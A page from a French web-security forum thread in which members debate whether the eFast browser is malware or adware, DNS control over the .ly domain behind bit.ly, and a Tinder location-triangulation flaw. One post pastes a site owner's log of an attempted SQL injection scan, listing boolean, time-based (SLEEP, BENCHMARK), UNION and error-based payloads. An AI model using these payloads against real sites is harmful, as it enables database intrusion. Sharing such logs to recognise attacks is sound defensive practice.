Sécurité web - Page 12

D'un, Chrome n'est pas libre (seul Chromium l'est), et de deux, je ne vois rien d'unsafe ici:

• Ce logiciel est clairement déclaré comme étant un navigateur, basé sur Chromium comme Chrome l'est.
• En particulier, il y a clairement écrit "eFast" et non pas "Chromium" ni "Chrome".
• Il se met comme navigateur par défaut, mais il n'est pas le seul logiciel à faire ça.
• Il se désinstalle normalement comme n'importe quel autre logiciel.

Bref, c'est un logiciel plutôt "impoli" et bourré de pubs, mais le terme "malware" utilisé dans l'article est un peu fort (c'est au maximum un adware), et je ne vois pas en quoi c'est un problème de Chromium. Ces spécialistes d'adware sont libres de faire une œuvre dérivée bourrée de pubs, mais nous sommes libres de ne pas l'installer.

Pas un malware ? Ouais bien sûr…

http://thehackernews.com/2015/10/malware-chome.html
In a report published Malwarebytes detailed that the nefarious software attempts to delete Chrome and itself takes its place, allowing it to hijack several file associations including HTML, JPG, PDF, and GIF, as well as URLs associations including HTTP, HTTPS, and MAILTO.
The eFast Browser is based on Google's Chromium open-source software, so the browser maintains the look and feel of Google Chrome at first glance, tricking users into believing that they are using the legitimate Chrome browser.
The malicious software program then replaces any Chrome desktop website shortcuts with its own versions, showing a striking design resemblance with window and icons from Chrome.
"The installer for eFast also deletes all the shortcuts to Google Chrome on your taskbar and desktop," wrote Malwarebytes, "most likely hoping to confuse the user with their very similar icons."

À part ça tout est normal.

Cela dit, la façon dont tu défend cette « œuvre » ostensiblement malfaisante est vraiment perturbante. C'est à s'en demander si tu n'aurais pas omis de lire plus de la moitié de l'article, ou si tu n'en serais pas l'auteur. J'espère que c'est la première possibilité qui est la bonne…

Déjà, pour que ce soit clair: Non, je ne suis impliqué en aucune manière dans cet adware ni dans l'entreprise (spécialisée en adware) qui l'a créé.

Maintenant, dans tout ce que tu cites, je ne vois rien d'illégal, sauf éventuellement des problèmes de marque déposée en ce qui concerne le logo. Le terme "malware" implique quelque chose d'illégal. Et sinon, l'article reste vague sur comment exactement fonctionne le bundling avec les installeurs tiers, mais laisse supposer qu'il s'agisse de l'habituelle checkbox opt-out (c'est-à-dire une case "installer XYZ" cochée par défaut), une pratique désagréable, mais malheureusement très courante, par exemple Apple fait ça avec iTunes dans son installeur QuickTime, mais personne n'oserait appeler iTunes un malware. Ça aide de lire ce qu'on accepte lors de l'installation plutôt que de cliquer bêtement sur "Prochain".

Bref, ce logiciel est un adware désagréable dont je ne voudrais en aucun cas sur ma machine (mais de toute façon, j'utilise un système d'exploitation où cette pratique de bundling de logiciels non liés n'existe pas en pratique ). Mais ce n'est pas un malware, du moins pas avec les informations qu'on a.

Qu'est-ce que tu ne comprends pas dans

"The installer for eFast also deletes all the shortcuts to Google Chrome on your taskbar and desktop," wrote Malwarebytes, "most likely hoping to confuse the user with their very similar icons."

?

Tu (utilisateur hypothétique) choisis d'installer un navigateur, il remplace celui que tu avais installé, je ne vois pas trop en quoi c'est catastrophique. Franchement, le problème ici se trouve surtout entre la chaise et le clavier.

Je suis plutot de l'avis de Kevin, c'est certes un logiciel merdique, mais l'utilisateur decide de l'installer en premier lieux.

en gros

L'article qui cite Malwarebytes est d'ailleurs clair, le truc n'est pas un malware mais un PUP (potentially undesirable program).

Mouais, ça semble quand même vachement correspondre à la définition d'un malware: https://fr.m.wikipedia.org/wiki/Logiciel_malveillant

Si remplacer intégralement une autre application sans le consentement de l'utilisateur n'est pas de la malveillance, alors je crois que je vais me mettre à faire beaucoup de trucs non malveillants... Visiblement ça ne dérangera personne

Je pense que la plupart d'entre vous connaissent le site bit.ly (un "raccourcisseur" d'URLs couramment utilisé, notamment sur Twitter).

Le truc, c'est que ".ly", c'est le TLD de la Lybie, un pays pas franchement idéal pour héberger un site web, surtout quand celui-ci peut rediriger les gens et récolter des infos au passage...

Autant le TLD leur appartient, autant si l'IP actuelle pointe sur un serveur situé dans un autre pays ça ne change pas grand chose ?

je ne vois pas trop ce que change le TLD, mais c'est vrai que ces raccourcisseurs d'URL ne sont pas terribles en termes de respect de la vie privée et de sécurité (ils peuvent récupérer les infos, ils empêchent de savoir à l'avance la destination d'un clic, ils peuvent modifier le lien redirigé, …)

ben il pourraient autoritairement le faire pointer sur un proxy qui logge/censure tout ce qui passe...

squalyl (./343) :
ben il pourraient autoritairement le faire pointer sur un proxy qui logge/censure tout ce qui passe...

ça serait vite repéré ^^

Comment tu identifies un proxy qui ne fait que loguer ?

Et s'ils gèrent le TLD, ils peuvent aussi changer la destination de certains liens.

Zerosquare (./345) :
Comment tu identifies un proxy qui ne fait que loguer ?
Et s'ils gèrent le TLD, ils peuvent aussi changer la destination de certains liens.

comment le propriétaire du TLD peut-il mettre un proxy ?
Il a uniquement la main sur le DNS, donc il peut uniquement changer l'IP du site (mais c'est rapidement visible).

Oui, la gestion du TLD n'a pas grand chose à voir avec celle du site. Impossible par exemple de changer la destination de "certains liens". Ils peuvent le faire pour tous, mais ça va se voir comme le nez au milieu de la figure.

Mmh oui c'est vrai, j'ai oublié que la requête DNS ne contient pas ces infos et qu'elle est de toute façon traitée par un serveur de niveau inférieur. J'ai rien dit ^^

Il y en a qui s'amuse bien

L'url non trafiqué est /index.php?page=NOMdeLApage

[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage'"]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage ] correct
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage2121121121212.1 ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage and 1=1 ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage and 1>1 ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage' and 'x'='x ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage' and 'x'='y]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage" and "x"="x]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage" and "x"="y]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage AND 1=1 ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage ] correct
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage'&&sLEEp(3)&&'1 ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage '||SLeeP(3)&&'1 ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage' aND BeNChMaRK(2999999,Md5(NoW())) AnD '1  ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage999999.1 union select unhex(hex(version())) -- and 1=1 ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage99999' union select unhex(hex(version())) -- 'x'='x  ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage99999" union select unhex(hex(version())) -- "x"="x  ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage or (1,2)=(select*from(select name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage' or (1,2)=(select*from(select name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x  ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage" or (1,2)=(select*from(select name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x  ]
[ 27-10-2015 09:59 | 103.241.181.12] - [ NOMdeLApage' ]

L'user agent a changé plusieurs fois également au cas où çà aiderait à faire passer...

inde ?

Ce n'est pas vraiment du web puisqu'il s'agit de l'application mobile d'un site web, mais c'est une sacrée faille conceptuelle (mention spéciale à la méthode originale qui était encore pire) :
http://blog.includesecurity.com/2014/02/how-i-was-able-to-track-location-of-any.html

Rien qu'en voyant le screen avec l'encadré rouge "9 miles away" j'ai compris la faille, bien pensé
Le premier soucis de Tinder était (est ?) donc qu'au lieu de définir une ville quand on s'inscrit, comme tout site de rencontres, il stocke la dernière localisation online de l'utilisateur (même sans GPS activé, c'est relativement précis effectivement).
Pour une appli comme FourSquare je peux comprendre (enfin, l'intérêt, parce que l'appli...). Mais pour Tinder, je comprends maintenant pourquoi on en parlait comme une appli pour les "coups d'un soir", tant la précision sur la distance autant que l'inconsistance sur la localisation appelle à des rencontres brèves selon l'emplacement immédiat.

Ca me surprends pas du tout, et je suis meme surpris que ca ne soit pas arrive plus tot (quoique ca date de 2013)

M'enfin perso je vois un truc dans ce genre qui m'affiche une distance je pense tout de sutie a une triangulation, et meme si elle est imprecise comme celle affiche qui est juste en miles, ca permet deja une belle triangulation

Pas nécessairement, comme j'ai dit la plupart des sites de rencontre demandent une ville, et pour donner une distance ils utilisent le point (arbitraire ?) de Google Maps indiquant le "centre" de la ville. L'estimation n'est pas au mètre près donc, plutôt au kilomètre voire dizaine de kilomètre près.

Oui mais je parlais des outils à la tinder pas juste dire à quelle distance est approximativement telle ville.

Sauf que la triangulation ça veut dire que la personne n'a pas bougé entre les 3 fois, ce qui me parait improbable.

Sinon, la boîte pour qui je bossais avant a fait une copie de tinder en Chine et viens juste d'avoir le même genre de problème, mais le plus gros problème est qu'ils n'avaient pas de ssl, il y a eu un petit bad buzz ^^
(et même si c'est regrettable, ça ne méritait sûrement pas tout ce bruit)

En l'occurence le site web developpe par le gars doit faire des requettes avec 3 localisation differentes, mais meme IRL c'est pas tres dur, en quelques heures tu peux te deplacer assez pour avoir une localisation precise, on va dire a 100-200m pret. Pour ca suffit de savoir que la "cible" est chez elle ou qu'elle n'est pas connectee

?
Sauf erreur de ma part il parle d'une API.
Il suffit donc de faire au moins trois requêtes consécutives pour avoir la réponse en temps réel.

Pen^2: tu "?" a qui?

Oui, bon cross